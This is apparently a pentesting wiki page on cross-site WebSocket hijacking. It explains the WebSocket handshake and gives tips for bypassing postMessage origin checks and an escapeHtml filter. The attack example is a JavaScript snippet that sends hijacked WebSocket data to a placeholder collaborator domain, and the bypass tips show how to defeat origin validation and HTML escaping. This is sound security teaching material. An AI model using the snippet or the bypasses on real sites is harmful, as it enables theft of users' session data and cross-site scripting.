# Cross-site WebSocket hijacking (CSWSH)

Most of the information of this page is from **Portswiggers WebSockets tutorials (main page:** [**https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages**](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)**)**

## What are WebSockets

WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\
WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data.

## How are WebSocket connections established?

WebSocket connections are normally created using client-side JavaScript like the following:

```javascript
var ws = new WebSocket("wss://normal-website.com/chat");
```

The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection.

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:

```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

If the server accepts the connection, it returns a WebSocket handshake response like the following:

```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

At this point, the network connection remains open and can be used to send WebSocket messages in either direction.

**Note**

Several **features** of the WebSocket **handshake** messages are worth noting:

* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**.
* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`.
* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request.
* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** (*It's not a CSRF token*).

## Cross-site WebSocket hijacking (CSWSH)

Also known as *cross-origin WebSocket hijacking*.\
**It is a** [**Cross-Site Request Forgery (CSRF)**](https://gcf.gitbook.io/notes/pentesting-web/csrf-cross-site-request-forgery) **on a WebSocket handshake.**

It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.\
An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application.

Example of the attack:

```javascript
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```

## Other vulnerabilities

As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities**:

![](https://2970664952-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MLAfgNVMwHXqnouOUJz%2Fsync%2F22f23086081631c24d1534e14d43805a5432f5a3.png?generation=1604368586342398\&alt=media)

## Tips/Bypasses in PostMessage vulnerabilities

Copied from <https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html>

* If `indexOf()` is used to check the origin of the PostMessage event, remember that it can be bypassed if the origin is contained in the string as seen in [*The Bypass*](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html#bypass)
* [@filedescriptor](https://twitter.com/filedescriptor): Using `search()` to validate the origin could be insecure. According to the docs of `String.prototype.search()`, the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.

```
"https://www.safedomain.com".search(t.origin)
```

In regular expression, a dot (.) is treated as a wildcard. In other words, any character of the origin can be replaced with a dot. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, such as **[www.s.afedomain.com](http://www.s.afedomain.com)**.

* [@bored-engineer](https://bored.engineer/): If `escapeHtml` function is used, the function does not create a `new` escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.

```
// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```

`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
